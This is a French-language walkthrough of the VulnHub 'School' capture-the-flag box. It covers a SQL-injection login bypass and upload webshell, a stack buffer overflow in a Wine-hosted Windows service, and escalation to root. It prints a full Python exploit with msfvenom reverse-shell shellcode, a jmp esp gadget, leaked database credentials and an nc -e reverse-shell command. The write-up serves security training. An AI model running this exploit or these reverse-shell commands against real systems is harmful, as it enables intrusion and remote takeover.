Accueil Solution du CTF School de VulnHub
Post
Annuler

Solution du CTF School de VulnHub

Et voici un dernier CTF fait par foxlox : School. La description semble assez proche de Netstart que j’ai résolu quelques heures plus tôt :

This is a Linux box, running a Web Application, and a Windows application in WINE environment to give Access to Wine from Linux.

La VM a trois ports ouverts et là encore un des ports semble custom : le 23 qui ne réagit pas comme un telnet classique.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Nmap scan report for 192.168.56.51
Host is up (0.00023s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 deb52389bb9fd41ab50453d0b75cb03f (RSA)
|   256 160914eab9fa17e945395e3bb4fd110a (ECDSA)
|_  256 9f665e71b9125ded705a4f5a8d0d65d5 (ED25519)
23/tcp open  telnet?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, ms-sql-s, oracle-tns, tn3270: 
|_    Verification Code:
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
| http-title: 404 Not Found
|_Requested resource was login.php
|_http-server-header: Apache/2.4.38 (Debian)

The Faculty

Quand on se rend sur le site web on est redirigé vers un script /student_attendance/login.php

Le code source ne divulge pas de méta données concernant le logiciel mais une simple recherche sur exploit-db remonte un exploit utilisant deux vulnérabilités :

  • bypass d’authentification via faille SQL sur le formulaire de login

  • upload de fichier non restreint

qui peuvent être utilisées pour obtenir une exécution de code distante.

Le code n’est pas très fouillé, il faut éditer les URLs dans le code et placer dans le dossier courant un fichier shell.php qui sera uploadé sur le site web.

J’ai tenté d’abord de faire l’exploitation à la main. Tout est ok pour la partie SQL en revanche je n’ai croisé aucun mécanisme d’upload en naviguant sur le site. L’exploit utilise peut être une fonctionnalité un peu dissimulée (le script ciblé se nomme ajax.php).

Dans tous les cas, après utilisation de l’exploit j’obtiens un webshell à cette adresse :

http://192.168.56.51/student_attendance/assets/uploads/1667940180_shell.php?cmd=id

Un upload de reverse-ssh plus tard et je suis mon parcours de santé tel que trouver les identifiants de la BDD :

1
2
3
4
www-data@school:/var/www/html/student_attendance$ cat db_connect.php 
<?php 

$conn= new mysqli('localhost','fox','trallalleropititumpa','student_attendance_db')or die("Could not connect to mysql".mysqli_error($con));

Obtenir le premier flag :

1
2
www-data@school:/home/fox$ cat local.txt 
e4ed03b4852906b6cb716fc6ce0f9fd5

Découvrir la suite des opérations en regardant les processus :

1
2
3
4
5
6
7
root       349  0.0  0.0   2388   760 ?        S    20:29   0:00 /bin/sh /root/win
root       351  0.0  0.6 2632452 6672 ?        S    20:29   0:00 /opt/access/access.exe
root       387  0.0  0.5   8192  5280 ?        Ss   20:29   0:00 /usr/lib/wine/wineserver32 -p0
root       480  0.0  0.6 2633684 6160 ?        Ssl  20:29   0:00 C:\windows\system32\services.exe
root       504  0.0  0.6 2636308 6760 ?        Sl   20:29   0:00 C:\windows\system32\winedevice.exe
root       558  0.0  0.5 2632388 5572 ?        Sl   20:29   0:00 C:\windows\system32\plugplay.exe
root       586  0.3  1.3 2650608 13448 ?       Sl   20:29   0:07 C:\windows\system32\winedevice.exe

Au vue des ports ouverts et services qui tournent (80 pour Apache, 3306 pour MySQL, 631 pour CUPS, 22 pour SSH) on peut confirmer que c’est bien l’exécutable Windows lancé via Wine qui utilise le port 23.

1
2
3
4
5
6
7
www-data@school:/var/www/html$ ss -lntp
State                       Recv-Q                       Send-Q                                             Local Address:Port                                             Peer Address:Port                      
LISTEN                      0                            80                                                     127.0.0.1:3306                                                  0.0.0.0:*                         
LISTEN                      0                            128                                                      0.0.0.0:80                                                    0.0.0.0:*                         
LISTEN                      0                            128                                                      0.0.0.0:22                                                    0.0.0.0:*                         
LISTEN                      0                            5                                                      127.0.0.1:631                                                   0.0.0.0:*                         
LISTEN                      0                            128                                                      0.0.0.0:23                                                    0.0.0.0:*

Le fichier est accompagné d’une DLL :

1
2
3
4
www-data@school:/$ ls -l /opt/access/
total 80
-rw-r--r-- 1 root root 51019 Nov  7  2020 access.exe
-rw-r--r-- 1 root root 28613 Nov  7  2020 funcs_access.dll

Copier Coller

Je n’entrerais pas dans les détails du reverse-engineering sur ce CTF car le binaire est quasiment le même que sur Netstart. La vérification des mauvais caractères différe :

1
0x4d 0x4f 0x5f 0x79 0x7e 0x7f

La fonction vulnérable (qui a le même nom) a une stack plus grande :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
_f3 (char *arg_8h);
; var char *dest @ ebp-0x76a
; arg char *arg_8h @ ebp+0x8
; var const char *src @ esp+0x4
0x004018ce      push ebp
0x004018cf      mov ebp, esp
0x004018d1      sub esp, 0x788
0x004018d7      mov eax, dword [arg_8h]
0x004018da      mov dword [src], eax ; const char *src
0x004018de      lea eax, [dest]
0x004018e4      mov dword [esp], eax ; char *dest
0x004018e7      call _strcpy       ; sym._strcpy ; char *strcpy(char *dest, const char *src)
0x004018ec      nop
0x004018ed      leave
0x004018ee      ret

Ici 1898 (0x76a) octets sont réservés pour le buffer suvi par les sauvegardes de EBP et EIP.

Pour le vérifier on peut envoyer des données qui devraient se caler parfaitement sur les registres :

1
2
3
4
5
6
7
import socket

sock = socket.socket()
sock.connect(('127.0.0.1', 2323))
buff = b"A" * 1898 + b"BBBBCCCC" + b"D" * 1024
sock.send(buff)
sock.close()

Et ça marche, comme l’indique l’outil de gestion de crash de Wine :

1
2
3
4
5
6
7
8
9
10
11
12
13
Unhandled exception: page fault on read access to 0x43434343 in 32-bit code (0x43434343).
Register dump:
 CS:0023 SS:002b DS:002b ES:002b FS:0063 GS:006b
 EIP:43434343 ESP:0135fb08 EBP:42424242 EFLAGS:00010246(  R- --  I  Z- -P- )
 EAX:0135f396 EBX:00000040 ECX:0135f396 EDX:00000000
 ESI:00000000 EDI:00000000
Stack dump:
0x0135fb08:  44444444 44444444 44444444 44444444
0x0135fb18:  44444444 44444444 44444444 44444444
0x0135fb28:  44444444 44444444 44444444 44444444
0x0135fb38:  44444444 44444444 44444444 44444444
0x0135fb48:  44444444 44444444 44444444 44444444
0x0135fb58:  44444444 44444444 44444444 44444444

Tout comme le précédent CTF du même auteur, ESP pointe sur les octets après l’adresse de retour.

On a besoin d’une adresse valide pour écraser EIP. On peut trouver un jmp esp dans l’exécutable mais son adresse contient un octet nul. C’est là qu’entre en jeux la DLL qui est chargée par le binaire :

1
2
3
4
$ python ROPgadget.py --binary /tmp/funcs_access.dll | grep "jmp esp"
0x625012d0 : jmp esp
0x625012ce : mov ebp, esp ; jmp esp
0x625012cd : push ebp ; mov ebp, esp ; jmp esp

On a notre adresse de retour, maintenant utilisons msfvenom pour générer notre shellcode sans les mauvais caractères.

1
msfvenom -a x86 -b '\x4d\x4f\x5f\x79\x7e\x7f\x00' -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4444 --format python

Voici l’exploit :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import socket

# msfvenom -a x86 -b '\x4d\x4f\x5f\x79\x7e\x7f\x00' -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4444 --format python
buf =  b""
buf += b"\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += b"\x76\x0e\x96\xa4\x58\xba\x83\xee\xfc\xe2\xf4\x6a\x4c"
buf += b"\xda\xba\x96\xa4\x38\x33\x73\x95\x98\xde\x1d\xf4\x68"
buf += b"\x31\xc4\xa8\xd3\xe8\x82\x2f\x2a\x92\x99\x13\x12\x9c"
buf += b"\xa7\x5b\xf4\x86\xf7\xd8\x5a\x96\xb6\x65\x97\xb7\x97"
buf += b"\x63\xba\x48\xc4\xf3\xd3\xe8\x86\x2f\x12\x86\x1d\xe8"
buf += b"\x49\xc2\x75\xec\x59\x6b\xc7\x2f\x01\x9a\x97\x77\xd3"
buf += b"\xf3\x8e\x47\x62\xf3\x1d\x90\xd3\xbb\x40\x95\xa7\x16"
buf += b"\x57\x6b\x55\xbb\x51\x9c\xb8\xcf\x60\xa7\x25\x42\xad"
buf += b"\xd9\x7c\xcf\x72\xfc\xd3\xe2\xb2\xa5\x8b\xdc\x1d\xa8"
buf += b"\x13\x31\xce\xb8\x59\x69\x1d\xa0\xd3\xbb\x46\x2d\x1c"
buf += b"\x9e\xb2\xff\x03\xdb\xcf\xfe\x09\x45\x76\xfb\x07\xe0"
buf += b"\x1d\xb6\xb3\x37\xcb\xcc\x6b\x88\x96\xa4\x30\xcd\xe5"
buf += b"\x96\x07\xee\xfe\xe8\x2f\x9c\x91\x5b\x8d\x02\x06\xa5"
buf += b"\x58\xba\xbf\x60\x0c\xea\xfe\x8d\xd8\xd1\x96\x5b\x8d"
buf += b"\xea\xc6\xf4\x08\xfa\xc6\xe4\x08\xd2\x7c\xab\x87\x5a"
buf += b"\x69\x71\xcf\xd0\x93\xcc\x98\x12\xae\xa5\x30\xb8\x96"
buf += b"\xb5\x04\x33\x70\xce\x48\xec\xc1\xcc\xc1\x1f\xe2\xc5"
buf += b"\xa7\x6f\x13\x64\x2c\xb6\x69\xea\x50\xcf\x7a\xcc\xa8"
buf += b"\x0f\x34\xf2\xa7\x6f\xfe\xc7\x35\xde\x96\x2d\xbb\xed"
buf += b"\xc1\xf3\x69\x4c\xfc\xb6\x01\xec\x74\x59\x3e\x7d\xd2"
buf += b"\x80\x64\xbb\x97\x29\x1c\x9e\x86\x62\x58\xfe\xc2\xf4"
buf += b"\x0e\xec\xc0\xe2\x0e\xf4\xc0\xf2\x0b\xec\xfe\xdd\x94"
buf += b"\x85\x10\x5b\x8d\x33\x76\xea\x0e\xfc\x69\x94\x30\xb2"
buf += b"\x11\xb9\x38\x45\x43\x1f\xa8\x0f\x34\xf2\x30\x1c\x03"
buf += b"\x19\xc5\x45\x43\x98\x5e\xc6\x9c\x24\xa3\x5a\xe3\xa1"
buf += b"\xe3\xfd\x85\xd6\x37\xd0\x96\xf7\xa7\x6f"

jmp_esp = b"\xd0\x12\x50\x62"

buffer = b"A"*1898 + b"BBBB" + jmp_esp + b"\x90" * 32 + buf
sock = socket.socket()
sock.connect(("192.168.56.51", 23))
sock.recv(1024)
sock.send(buffer + b"\r\n")
sock.close()

Avec ça je peux recevoir mon reverse shell et j’échape immédiatement du Wine pour créer un autre reverse shell (Linux cette fois) :

1
2
3
4
5
6
7
8
9
$ ncat -l -p 4444 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.56.51.
Ncat: Connection from 192.168.56.51:33480.
Microsoft Windows 6.1.7601 (4.0)

Z:\> start /unix /bin/nc.traditional -e /bin/sh 192.168.56.1 7777
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ncat -l -p 7777 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from 192.168.56.51.
Ncat: Connection from 192.168.56.51:40212.
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
python3 -c 'import pty;pty.spawn("/bin/bash")'
root@school:/root# ls
proof.txt  win
root@school:/root# cat proof.txt
ccc34dede451108a8fe6f75d6ea7d2ae

Oups, c’était rapide ! Je n’avais pas fait attention que le process tournait en root (j’aurais du tilter au numéro de port).

CTF d’autant plus rapide que je n’ai eu qu’à adapter l’exploit déjà existant et survoler la partie de RE.

Cet article est sous licence CC BY 4.0 par l'auteur.